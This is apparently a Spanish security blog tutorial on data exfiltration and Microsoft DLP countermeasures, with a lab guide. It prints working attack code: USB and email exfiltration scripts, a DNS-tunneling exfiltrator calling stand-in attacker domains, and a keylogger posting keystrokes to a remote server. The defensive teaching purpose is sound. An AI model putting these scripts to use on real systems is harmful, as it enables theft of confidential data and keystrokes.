La exfiltración de datos —también conocida como Data Exfiltration— se refiere a la transferencia no autorizada de información sensible fuera de un entorno corporativo seguro. Este riesgo se ha convertido en una de las principales preocupaciones de seguridad, pues puede derivar en robo de información confidencial, daño a la reputación empresarial y pérdidas económicas considerables.
Requerimientos:
- Sistema – Sistemas para realizar las pruebas
- Programación – Conocimientos altos de programación
Resposabilidad:
En este tutorías utilizaremos técnicas de hacking, con el único fin de aprendizaje. No promovemos su utilización ni con fines lucrativos o incorrectos. No nos hacemos responsables de cualquier daño o menoscabo que pueda generar en los sistemas utilizados. La responsabilidad es absoluta del usuario de este tutorial.
Conocimientos:
- Linux – Alto
- Programación – Muy alto
- Kali Linux – Medio
- Windows – Alto
- Redes – Muy alto
Nivel general del Tutorial: Muy Alto
Ideal para: Ingenieros de sistemas, Ingenieros de seguridad, Pentesters
1. Introducción
Para combatir estas amenazas, las organizaciones utilizan sistemas de Prevención de Pérdida de Datos (DLP), cuyo principal objetivo es monitorizar, detectar y proteger información sensible. En este blog avanzado, veremos:
- Las 5 técnicas de exfiltración más relevantes, con ejemplos prácticos, fragmentos de código y escenarios reales.
- Cómo un DLP —en particular, Microsoft DLP— puede ayudar a prevenir la fuga de información.
- Pasos para crear políticas y reglas que se adapten a estas técnicas y fortalezcan la estrategia de ciberseguridad en tu organización.
2. Resumen Ejecutivo
- La exfiltración de datos puede producirse de forma interna (empleados deshonestos o descuidados) o externa (cibercriminales aprovechando brechas de seguridad).
- Las técnicas van desde métodos sencillos —como el uso de dispositivos USB— hasta técnicas avanzadas —como DNS Tunneling o malware especializado—.
- Un sistema DLP (Data Loss Prevention) ofrece controles para detectar y frenar la salida no autorizada de datos sensibles, basándose en políticas configurables.
- Microsoft DLP, integrado en Microsoft 365, brinda reglas y acciones automáticas para proteger información en servicios como Exchange Online, SharePoint, OneDrive y Teams.
- Crear políticas efectivas requiere entender tanto la naturaleza de los datos a proteger como las rutas habituales de fuga.
3. Resumen Técnico
- Exfiltración de datos
- Se produce al transferir o copiar información sensible o confidencial desde la red corporativa a un entorno no autorizado.
- Puede implicar métodos como el uso de malware, ingeniería social, robo de credenciales o abuso de permisos internos.
- Data Loss Prevention (DLP)
- Conjunto de herramientas y procesos para identificar, monitorizar y proteger datos sensibles en reposo, en tránsito y en uso.
- Permite definir políticas para bloquear, cifrar o alertar sobre intentos de fuga.
- Microsoft DLP
- Parte de la suite Microsoft 365, administrado desde el Compliance Center.
- Ofrece detección automática de información sensible (números de tarjeta de crédito, información personal, etc.), integración con servicios cloud (SharePoint, OneDrive, Teams) y acciones de bloqueo o notificación.
4. Exfiltración de Datos en Entornos Corporativos
En esta sección profundizaremos en cinco técnicas de exfiltración de datos, ilustrando cada una con código, ficheros de ejemplo y posibles escenarios reales.
4.1. Cinco Técnicas de Exfiltración (con ejemplos de código)
. Exfiltración a través de Dispositivos Extraíbles (USB, discos duros externos)
Descripción:
La técnica más directa: un usuario conecta un pendrive o disco duro externo y copia la información sensible. Puede ser un empleado malintencionado o simplemente alguien que desconoce las políticas de seguridad.
Ejemplo de caso real:
Un empleado con acceso a datos de clientes exporta un archivo clientes_confidencial.csv
a un USB personal y se lleva esta información fuera de la oficina.
Posibles ficheros comprometidos:
clientes_confidencial.csv
proyecto_estrategico.pdf
Ejemplo de script (Windows PowerShell) para copia masiva a USB:
# Script de ejemplo (uso malintencionado) para copiar ficheros .csv a un dispositivo extraíble # Ruta local donde residen datos sensibles $sourcePath = "C:\Datos\Confidencial" # Detectar letra de la unidad USB conectada (ejemplo: D:) $usbDrives = Get-WmiObject Win32_LogicalDisk -Filter "DriveType = 2" foreach ($drive in $usbDrives) { $usbPath = $drive.DeviceID + "\" # Copiar todos los archivos CSV hacia el USB Get-ChildItem -Path $sourcePath -Filter *.csv -Recurse | Copy-Item -Destination $usbPath -Force Write-Host "Archivos .csv copiados a $usbPath" }
Nota: Este script busca unidades extraíbles y copia todos los archivos
.csv
desde una carpeta específica. En un escenario real, se puede personalizar para buscar otros tipos de ficheros (docx, xlsx, pdf, etc.).
Contramedidas con DLP:
- Bloquear el acceso a puertos USB o requerir cifrado de dispositivos extraíbles.
- Configurar alertas que detecten copias masivas de datos sensibles.
2. Exfiltración mediante Correo Electrónico
Descripción:
Los datos se filtran a través de emails enviados a direcciones externas. Esto puede ser un acto malintencionado o un error involuntario (por ejemplo, usar el correo personal para trabajar desde casa).
Ejemplo de caso real:
Un usuario, sin intención maliciosa, envía un documento “confidencial.docx” a su correo Gmail personal para continuar trabajando fuera del horario laboral.
Posibles ficheros comprometidos:
confidencial.docx
datos_financieros.xlsx
Ejemplo de script en Python para enviar un correo con archivo adjunto:
import smtplib import ssl from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders # Datos del remitente smtp_server = "smtp.gmail.com" port = 587 sender_email = "[email protected]" password = "TuPassword" # Datos del destinatario receiver_email = "[email protected]" subject = "Documento Confidencial" body = "Adjunto documento confidencial. Por favor revisar." # Crear el mensaje message = MIMEMultipart() message["From"] = sender_email message["To"] = receiver_email message["Subject"] = subject # Adjuntar el cuerpo message.attach(MIMEBase("text", "plain", filename="")) # Adjuntar el fichero filename = "confidencial.docx" with open(filename, "rb") as attachment: part = MIMEBase("application", "octet-stream") part.set_payload(attachment.read()) encoders.encode_base64(part) part.add_header("Content-Disposition", f"attachment; filename={filename}") message.attach(part) context = ssl.create_default_context() try: server = smtplib.SMTP(smtp_server, port) server.starttls(context=context) server.login(sender_email, password) server.sendmail(sender_email, receiver_email, message.as_string()) print("Correo enviado con éxito.") finally: server.quit()
Advertencia: Esto es un ejemplo educativo que muestra cómo alguien puede adjuntar y enviar ficheros sensibles por correo.
Contramedidas con DLP:
- Configurar reglas para bloquear o alertar correos que contengan información clasificada o patrones de datos sensibles (por ejemplo, más de 5 registros de tarjetas de crédito).
- Habilitar cifrado obligatorio para adjuntos y restringir envío a dominios externos.
3. Exfiltración a través de Servicios en la Nube (Dropbox, Google Drive, etc.)
Descripción:
Subir ficheros corporativos a almacenamientos en la nube personales (o poco confiables) facilita que la información salga del perímetro de la organización.
Ejemplo de caso real:
Un desarrollador sincroniza un repositorio confidencial en su cuenta personal de Dropbox para trabajar desde casa. Al abandonar la empresa, todavía conserva el acceso a esos archivos.
Posibles ficheros comprometidos:
codigo_fuente_privado.zip
presentacion_roadmap.pptx
Ejemplo de uso de rclone
para subir archivos a un servicio cloud personal (ilustrativo):
# Asumiendo que rclone está configurado con un remoto llamado "miDropbox" # Subir un archivo confidencial rclone copy /home/user/confidencial.pdf miDropbox:/CarpetaPersonal echo "Archivo confidencial.pdf subido exitosamente a Dropbox personal"
rclone
es una herramienta de sincronización que, mal utilizada, puede provocar fuga de información.
Contramedidas con DLP:
- Monitorear tráfico HTTP/HTTPS para detectar cargas de archivos a dominios como
dropbox.com
,drive.google.com
, etc. - Restringir el uso de servicios en la nube no autorizados y permitir únicamente plataformas corporativas (OneDrive for Business, SharePoint, etc.).
4. DNS Tunneling
Descripción:
Una técnica más avanzada en la cual se envían datos cifrados o codificados a través de peticiones DNS aparentemente legítimas. Un malware interno podría usar este método para sacar información sin despertar sospechas en controles de tráfico tradicionales.
Ejemplo de caso real:
Un atacante infecta un equipo con un malware que fragmenta la base de datos de clientes y la envía a un servidor DNS controlado por el atacante. Cada petición DNS contiene una parte de los datos codificados.
Posibles ficheros comprometidos:
- Bases de datos completas (por ejemplo,
clientes.db
) - Informes de contraseñas (
passwords.txt
)
Ejemplo simplificado de script Python para DNS Tunneling (solo demostrativo):
import dns.resolver import base64 def encode_data(data): # Codificar en Base64 y dividir en partes manejables (máx ~63 bytes por etiqueta DNS) encoded = base64.b64encode(data.encode()).decode() chunks = [encoded[i:i+50] for i in range(0, len(encoded), 50)] return chunks def exfiltrate_data_via_dns(data, domain="exampleattacker.com"): chunks = encode_data(data) for i, chunk in enumerate(chunks): subdomain = f"{chunk}.{i}.{domain}" # ej: AbCdEf.1.exampleattacker.com try: # Realizar una petición DNS (tipo A por simplicidad) dns.resolver.resolve(subdomain, 'A') except: pass # Se ignoran errores, el objetivo es enviar la solicitud al servidor DNS autoritativo # Uso: Exfiltrar texto en un archivo with open("clientes.txt", "r") as f: data_content = f.read() exfiltrate_data_via_dns(data_content) print("Exfiltración DNS completada (simulada).")
Atención: Este ejemplo se muestra con fines educativos para entender la mecánica básica de DNS Tunneling. En la práctica, un atacante usaría técnicas más sofisticadas (cifrado, control de errores, etc.).
Contramedidas con DLP/Seguridad de red:
- Monitorizar anomalías en peticiones DNS (volúmenes altos, subdominios sospechosos, patrones inusuales de longitud).
- Integrar sistemas de reputación y listas blancas de servidores DNS confiables.
- Inspeccionar tráfico DNS con herramientas SIEM y correlacionar con eventos DLP.
5. Malware avanzado con funciones de exfiltración (Keyloggers, RATs)
Descripción:
Malware que, una vez dentro de la red, registra pulsaciones de teclado, toma capturas de pantalla, o habilita un Remote Access Trojan (RAT) para que el atacante controle el equipo víctima. El robo de datos puede ser selectivo y en tiempo real.
Ejemplo de caso real:
Un usuario hace clic en un enlace de phishing y descarga un RAT. El atacante, conectado remotamente, explora la red interna, accede a servidores de archivos y extrae datos confidenciales a su servidor.
Posibles ficheros comprometidos:
- Directorios completos de proyectos (
/proyectos/*
) - Credenciales almacenadas en texto plano (
C:\Users\user\Passwords\
)
Ejemplo de un sencillo Keylogger en Python (solo educativo, sin fines maliciosos):
import pynput from pynput.keyboard import Key, Listener import requests LOG_SERVER_URL = "http://malicioso-ejemplo.com/upload" # Servidor remoto buffer_log = [] def on_press(key): global buffer_log try: buffer_log.append(str(key.char)) except AttributeError: buffer_log.append("[" + str(key) + "]") # Enviar cada cierto número de capturas if len(buffer_log) >= 50: send_data("".join(buffer_log)) buffer_log = [] def send_data(data): try: # Petición POST al servidor remoto requests.post(LOG_SERVER_URL, data={"log": data}) except: pass with Listener(on_press=on_press) as listener: listener.join()
Advertencia: Este fragmento de keylogger se publica meramente con fines didácticos, ilustrando cómo un atacante puede recopilar información sensible.
Contramedidas con DLP y EDR:
- Utilizar soluciones de EDR (Endpoint Detection & Response) que analicen comportamiento anómalo de procesos y conexiones salientes.
- Configurar reglas DLP que disparen alertas cuando se accede a muchos ficheros sensibles en un corto periodo o se detecten conexiones a IPs no habituales.
5. ¿Qué es y cómo funciona un DLP?
Un sistema de Data Loss Prevention (DLP) es un conjunto de tecnologías y procesos que:
- Clasifica y etiqueta la información según su sensibilidad (datos personales, información financiera, secretos industriales, etc.).
- Monitoriza el flujo y uso de esos datos, detectando posibles fugas en endpoints, correo, almacenamiento en la nube, etc.
- Previene la exfiltración mediante bloqueos, cifrado o notificaciones de alerta cuando se cumplen ciertas condiciones definidas en las políticas.
5.1. Características principales
- Detección inteligente: Utiliza patrones, coincidencias basadas en expresiones regulares y algoritmos de clasificación de datos.
- Políticas personalizadas: Pueden aplicarse a distintos departamentos o tipos de datos.
- Informes y alertas: Genera reportes en tiempo real para el equipo de seguridad y, opcionalmente, notifica a los usuarios.
- Integración con otras soluciones: Trabaja de la mano con firewalls, EDR, SIEM y sistemas de autenticación.
5.2. Microsoft DLP
- Se configura en el Microsoft 365 Compliance Center.
- Identifica automáticamente información sensible (números de tarjeta, datos personales, etc.) en correos, archivos de OneDrive, SharePoint y Teams.
- Permite crear reglas para alertar al remitente, al administrador o bloquear directamente la acción que comprometa la seguridad de la información.
6. Casos Prácticos de DLP adaptados a las Técnicas Anteriores
A continuación, se muestra cómo Microsoft DLP (o un DLP similar) puede mitigar cada una de las técnicas descritas:
- Exfiltración vía USB
- Configuración DLP: Política que bloquee copias de archivos con etiquetas de sensibilidad “Confidencial” hacia unidades externas.
- Caso práctico: Al intentar copiar
clientes_confidencial.csv
a un pendrive, el DLP emite alerta y bloquea la acción.
- Exfiltración por correo
- Configuración DLP: Regla que detecte si un correo saliente contiene información como números de tarjeta, o si el archivo está clasificado como “Secreto”.
- Caso práctico: El usuario envía un correo con
datos_financieros.xlsx
a un dominio no corporativo. El DLP detiene el envío y notifica al administrador.
- Exfiltración a través de la nube
- Configuración DLP: Monitorizar el tráfico HTTP/HTTPS hacia proveedores de nube no aprobados y bloquear cargas de archivos clasificados.
- Caso práctico: Un empleado intenta subir
codigo_fuente_privado.zip
a su cuenta personal de Dropbox. El DLP activa una regla de bloqueo y registra el incidente.
- DNS Tunneling
- Configuración DLP: No puede inspeccionar cada petición DNS por sí solo, pero en conjunto con un SIEM o firewall DNS, se pueden correlacionar alertas de acceso a datos sensibles con tráfico DNS sospechoso.
- Caso práctico: El SIEM detecta un gran número de peticiones DNS a dominios raros. El DLP comprueba que el equipo implicado accedió a ficheros “Confidenciales” y activa una alerta prioritaria.
- Malware avanzado (Keyloggers, RATs)
- Configuración DLP + EDR: El DLP puede identificar accesos inusuales a datos sensibles y el EDR detecta comportamientos maliciosos del proceso que intenta exfiltrar información.
- Caso práctico: Un proceso desconocido intenta subir varios documentos de la carpeta
\Recursos Humanos\
a una IP externa. El DLP lanza una alerta de acceso no autorizado y el EDR aísla el endpoint.
7. Creación de una Política y Reglas Básicas con Microsoft DLP
Para crear una política adaptada a estos escenarios, se recomiendan los siguientes pasos:
- Identificación de datos sensibles
- Configurar Tipos de Información Sensible (SIT) en Microsoft 365 (por ejemplo, PII, PCI, etc.).
- Etiquetar documentos con niveles de confidencialidad (Público, Interno, Confidencial, Secreto).
- Definición del alcance
- Determinar si la política aplicará a Exchange Online, SharePoint Online, OneDrive, Teams o todos.
- Especificar grupos o departamentos clave (Finanzas, Legal, I+D, etc.).
- Creación de reglas de detección
- Establecer condiciones: “Si un documento clasificado como ‘Confidencial’ se envía fuera del dominio corporativo, bloquear la acción y notificar al administrador”.
- Definir umbrales (por ejemplo, si se detectan > 5 números de tarjeta de crédito en un archivo).
- Acciones a tomar
- Bloquear la acción (envío de correo, carga a nube, copia a USB).
- Notificar al usuario que está en potencial violación de la política.
- Enviar alerta al equipo de seguridad o CISO.
- Excepciones y whitelists
- Permitir ciertas direcciones de correo o proveedores de nube cuando existan acuerdos legales.
- Evitar falsos positivos que interrumpan la productividad.
- Monitoreo y ajuste continuo
- Revisar reportes en el Compliance Center.
- Ajustar la configuración según cambien los flujos de trabajo y surjan nuevas amenazas.
7.1. Reglas básicas en Microsoft DLP adaptadas a las cinco técnicas
- Regla Anti-USB
- Acción: Bloquear copia a dispositivos externos si el contenido tiene sensibilidad “Confidencial”.
- Notificación: Al usuario y al equipo de seguridad.
- Regla Anti-Correos Externos
- Acción: Bloquear correos con adjuntos que contengan datos de tarjetas de crédito o identificaciones personales.
- Umbral: Más de 5 números de tarjeta de crédito en un documento.
- Regla de Almacenamiento en la Nube
- Acción: Negar subida de archivos clasificados a dominios de almacenamiento no incluidos en la lista de confianza.
- Notificación: Registrar el evento y alertar a TI para seguimiento.
- Regla DNS Tunneling (correlación con SIEM)
- Acción: Recibir eventos del SIEM sobre peticiones DNS sospechosas.
- If se detecta acceso a ficheros sensibles + tráfico DNS anómalo → Alerta de alto nivel y aislamiento preventivo del endpoint.
- Regla Keylogger/RAT
- Acción: Si un proceso desconocido accede a múltiples ficheros sensibles en un corto período, bloquear y alertar.
- Integración: Microsoft Defender for Endpoint (EDR) para aislar el equipo.
8. Recomendaciones Finales
- Formación y concienciación
- Capacitar a los empleados en buenas prácticas de seguridad, reconocer phishing, uso correcto de dispositivos externos y canales de comunicación.
- Enfoque multicapa
- Combinar un DLP con soluciones de EDR, firewalls de siguiente generación, antimalware y herramientas de correlación de eventos (SIEM).
- Políticas claras y realistas
- Definir reglas concretas para cada departamento o tipo de información, evitando bloquear totalmente la operativa o generar excesivos falsos positivos.
- Auditorías y revisiones
- Realizar pentests o simulaciones de ataque para evaluar la eficacia de las políticas DLP.
- Revisar reportes y ajustar acciones según las necesidades del negocio.
- Pruebas de laboratorio
- Antes de aplicar reglas DLP de forma masiva, probarlas en un entorno controlado para asegurar que no interfieren con tareas legítimas.
9. Laboratorio controlado usado para esta prueba
Importante: Toda la práctica se realiza con fines educativos en un entorno controlado. No se deben emplear estas técnicas en redes o sistemas de producción sin autorización expresa.
1. Objetivos del Laboratorio
- Familiarizarse con las principales vías de exfiltración de datos (USB, correo, servicios cloud, DNS Tunneling, malware).
- Ejecutar ejemplos prácticos de cada técnica de exfiltración en un entorno seguro y aislado.
- Configurar controles básicos de seguridad y DLP para monitorear y bloquear dichas técnicas.
- Analizar logs y eventos de seguridad, comprobando la efectividad de las medidas de protección.
2. Requisitos Previos
- Virtualización: Se recomienda contar con un hipervisor (VirtualBox, VMware, Hyper-V, Proxmox, etc.) para aislar las máquinas virtuales.
- Máquinas virtuales (VMs):
- Windows 10/11 o Windows Server (para simular el puesto de trabajo corporativo).
- Ubuntu/Linux (para simular un servidor atacante, DNS malicioso o un host de recepción).
- Opcional: Windows Server con Active Directory para escenarios corporativos más realistas (no imprescindible, pero recomendable).
- Acceso a Internet (opcional) o red local simulada para pruebas que requieran DNS externas.
- Herramientas:
- Editor de texto o IDE (Notepad++, VSCode, etc.).
- Scripts o binarios necesarios (por ejemplo, Python, PowerShell, rclone, etc.).
- Herramientas de monitoreo de red (Wireshark, tcpdump) y/o soluciones DLP de prueba (como Microsoft DLP en modo demo, o un DLP open source).
3. Configuración del Entorno
3.1. Topología Básica
- VM Windows (Víctima/Estación de trabajo)
- Nombre de host:
WinVictima
- Rol: Contiene archivos sensibles y desde aquí se iniciarán las técnicas de exfiltración (acting as an “insider” o usuario comprometido).
- Habilitar PowerShell y, opcionalmente, Python.
- Nombre de host:
- VM Linux (Atacante/Servidor de exfiltración)
- Nombre de host:
AttackerVM
- Rol: Punto de recepción (por ejemplo, un servidor DNS malicioso, un servidor web al que se suben archivos, etc.).
- Instalar herramientas como
dnsutils
,python3
,wireshark/tcpdump
.
- Nombre de host:
- (Opcional) VM Windows Server con AD (Servidores corporativos)
- Rol: Centralizar cuentas de usuario y almacenar archivos importantes (compartido de red).
- Útil para simular un entorno más empresarial y probar políticas de GPO para restringir el uso de dispositivos o scripts.
- (Opcional) Microsoft 365 / Azure Lab
- Para probar Microsoft DLP, se necesita una suscripción de Microsoft 365 con acceso al Compliance Center, donde configurar reglas básicas de DLP.
3.2. Red y Aislamiento
- Red interna (Host-Only o NAT): Asegurarse de que las VMs se comuniquen entre sí, pero eviten interferir en la red de producción o doméstica real.
- Control de instantáneas: Tomar snapshots antes de cada práctica, por si es necesario restaurar en caso de errores o infecciones de malware fuera de control.
4. Ejecución de las Técnicas de Exfiltración
A continuación, se detallan los pasos para ejecutar cada técnica. El estudiante desempeñará el rol de “atacante interno” o “malware” en la VM Windows y tendrá el VM Linux como receptor (o apoyo).
4.1. Exfiltración vía USB
- Preparar la carpeta con datos sensibles
- En
WinVictima
, crear una carpetaC:\Datos\Confidencial
con archivos ficticios, p. ej.:clientes_confidencial.csv
proyecto_estrategico.pdf
- En
- Conectar el USB (VirtualBox/VMware)
- En la configuración de la VM, habilitar el puerto USB y conectar un pendrive real o un USB virtualizado.
- Verificar que Windows lo reconozca (e.g., unidad
D:
).
- Crear/usar un script de copia masiva (PowerShell)
- Usar el ejemplo de PowerShell (o un script propio) para copiar los archivos de
C:\Datos\Confidencial
al USB.
- Usar el ejemplo de PowerShell (o un script propio) para copiar los archivos de
$sourcePath = "C:\Datos\Confidencial" $usbDrives = Get-WmiObject Win32_LogicalDisk -Filter "DriveType = 2" foreach ($drive in $usbDrives) { $usbPath = $drive.DeviceID + "\" Get-ChildItem -Path $sourcePath -Recurse | Copy-Item -Destination $usbPath -Force }
Observar Comportamiento / Contramedidas
- Si tienen habilitado alguna solución DLP (por ejemplo, Symantec DLP o Microsoft Endpoint DLP), observar si se genera alerta o bloqueo.
- Con un AD corporativo, se puede probar la directiva que bloquea unidades USB no autorizadas o las obliga a cifrarse.
Conclusión
- Demuestra lo simple que es robar datos si no se restringe el acceso a puertos USB.
4.2. Exfiltración mediante Correo Electrónico
- Configurar la VM Windows con un cliente de correo
- Usar Outlook o Thunderbird configurado con una cuenta de prueba (ej.: Gmail o un servidor SMTP local).
- Preparar el archivo a exfiltrar
- Ej.:
datos_financieros.xlsx
, ubicado enC:\Datos\Confidencial
.
- Ej.:
- Enviar el correo a una cuenta externa
- Adjuntar el archivo y enviarlo a una cuenta personal (si el laboratorio lo permite) o a un servidor de correo local (simulado).
- (Opcional) Usar script Python
- Emplear el script de ejemplo para enviar mails con adjuntos.
- Atención: Ajustar credenciales SMTP y destinatario.
- Monitorizar los eventos
- Si se está usando Microsoft 365 con DLP, crear una regla para bloquear correos salientes que contengan cierto número de datos sensibles (por ejemplo, más de 5 tarjetas de crédito).
- Revisar el Compliance Center o el registro de correo para ver si se bloquea.
- Conclusión
- Confirma la facilidad de filtrar información confidencial por correo si no existen controles de inspección.
4.3. Exfiltración a través de Servicios en la Nube (Dropbox, Drive, etc.)
- Instalar o preparar herramienta de sincronización
- O bien, acceder vía web a Dropbox, Google Drive, etc.
- Subir ficheros
- Seleccionar los mismos archivos de
C:\Datos\Confidencial
y subirlos a una cuenta de nube personal.
- Seleccionar los mismos archivos de
- rclone (opcional)
- En
WinVictima
, instalarrclone
y configurarlo con un remoto (p. ej.,dropbox:
). - Ejecutar
rclone copy C:\Datos\Confidencial dropbox:\CarpetaPersonal
.
- En
- Observar tráfico y bloqueos
- Con una solución DLP o un firewall con filtrado HTTPS, revisar logs para detectar la carga de archivos a servicios no autorizados.
- Ver si se activa alguna alerta de DLP que bloquee el envío o notifique a un administrador.
- Conclusión
- Resalta lo fácil que resulta para un usuario con conocimientos básicos usar soluciones cloud para exfiltrar datos.
4.4. DNS Tunneling
- Configurar la VM Linux como servidor DNS
- Instalar y configurar
bind9
o similar para que sea un DNS autoritativo de un dominio, p. ej.,malicio.lab
. - Abrir el puerto UDP/TCP 53 en
AttackerVM
.
- Instalar y configurar
- Crear o adaptar el script Python de DNS Tunneling
- En
WinVictima
, usar el ejemplo (o uno propio) que codifica datos en Base64 y realiza consultas DNS amalicio.lab
.
- En
import dns.resolver import base64 def encode_data(data): encoded = base64.b64encode(data.encode()).decode() chunks = [encoded[i:i+50] for i in range(0, len(encoded), 50)] return chunks def exfiltrate_data_via_dns(data, domain="malicio.lab"): chunks = encode_data(data) for i, chunk in enumerate(chunks): subdomain = f"{chunk}.{i}.{domain}" try: dns.resolver.resolve(subdomain, 'A') except: pass # Prueba con un archivo with open("C:\\Datos\\Confidencial\\clientes_confidencial.csv", "r") as f: data_content = f.read() exfiltrate_data_via_dns(data_content) print("Exfiltración DNS completada (simulada).")
Ejecutar y revisar los logs DNS
- En
AttackerVM
, verificar las peticiones entrantes (/var/log/syslog
o con herramientas de bind9). - Comprobar que se reciben las solicitudes con subdominios codificados.
Monitoreo y contramedidas
- Usar un SIEM (Security Onion, Splunk, etc.) o un firewall DNS que alerte sobre un volumen anormal de consultas o subdominios extraños.
- Integrar el DLP y correlacionar: “Equipo X accedió a archivos sensibles y, al mismo tiempo, hizo un gran número de peticiones DNS raras”.
Conclusión
- Evidencia la complejidad de detectar exfiltración cuando se usan canales encubiertos como DNS.
4.5. Malware Avanzado (Keyloggers, RATs)
- Preparar una muestra de “malware de prueba”
- Usar un keylogger escrito en Python (como el ejemplo del blog) o descargar uno para entornos de laboratorio.
- ¡¡ADVERTENCIA!! Asegurarse de que el laboratorio esté aislado y de no usar malware real peligroso. Opcionalmente, usar software legítimo de control remoto (TeamViewer, AnyDesk) para simular un RAT.
- Ejecutar el malware
- En
WinVictima
, iniciar el keylogger y verificar que capte pulsaciones o tome screenshots. - En
AttackerVM
, simular un servidor receptor (por ejemplo, un simple script que reciba peticiones HTTP con logs capturados).
- En
- Intentar exfiltrar archivos
- El malware podría leer la carpeta
C:\Datos\Confidencial
y enviarla vía HTTP/HTTPS al servidorAttackerVM
. - Ver en Wireshark/tcpdump del lado
AttackerVM
si llegan esos datos.
- El malware podría leer la carpeta
- Detección con EDR/DLP
- Si se dispone de soluciones EDR (por ejemplo, Microsoft Defender for Endpoint), verificar si saltan alertas de comportamiento inusual (acceso masivo a ficheros, conexiones a IP desconocidas, etc.).
- Verificar si DLP detecta que un proceso sin firma intenta leer y enviar datos etiquetados como “Confidencial”.
- Conclusión
- Demuestra el peligro de un endpoint comprometido y la necesidad de monitoreo de comportamiento en tiempo real.
5. Observando Logs y Alertas
Tras realizar cada técnica, es fundamental que los estudiantes:
- Revisen los registros de seguridad en Windows (Visor de eventos), en el servidor Linux (logs DNS, syslog, apache logs, etc.) y en el firewall/IDS (si está presente).
- Comprueben en Microsoft 365 Compliance Center (si se usa Microsoft DLP) cómo se registran los eventos de exfiltración.
- Documenten los hallazgos, tiempos y posibles indicios que dejaría un atacante real.
6. Actividades Adicionales
- Activar políticas de DLP (Microsoft 365 o similares) para bloquear algunas de las técnicas. Repetir los experimentos y ver las diferencias.
- Configurar un SIEM (Splunk, Wazuh, Security Onion) que reciba logs de Windows y Linux, creando alertas en tiempo real de exfiltración.
- Políticas de grupo (GPO) en AD: Bloquear la ejecución de scripts de PowerShell no firmados, restringir la ejecución de Python, o evitar la instalación de software no autorizado.
- Cifrar datos sensibles: Comprobar cómo cambia la dificultad de la exfiltración cuando los archivos están cifrados y la clave no está disponible para el usuario malintencionado.
7. Conclusiones Finales
Este laboratorio proporciona una visión práctica de cuán sencillas o sofisticadas pueden ser las técnicas de exfiltración de datos. A su vez, demuestra la importancia de contar con controles de seguridad en múltiples capas, desde la restricción de uso de dispositivos USB hasta la implementación de un DLP avanzado y sistemas de correlación de eventos.
¡Muchas gracias por haber leído nuestro blog sobre Exfiltración de Datos y DLP!
Esperamos que el contenido te haya sido útil para comprender mejor las técnicas de fuga de información y las formas de proteger a tu organización con soluciones de Data Loss Prevention. Tu tiempo e interés son muy valiosos, y deseamos que apliques este conocimiento para fortalecer la seguridad de tus datos.
Si te ha resultado interesante, te invitamos a compartirlo con tu equipo o con quienes puedan beneficiarse de esta información. ¡Gracias por tu apoyo y confianza!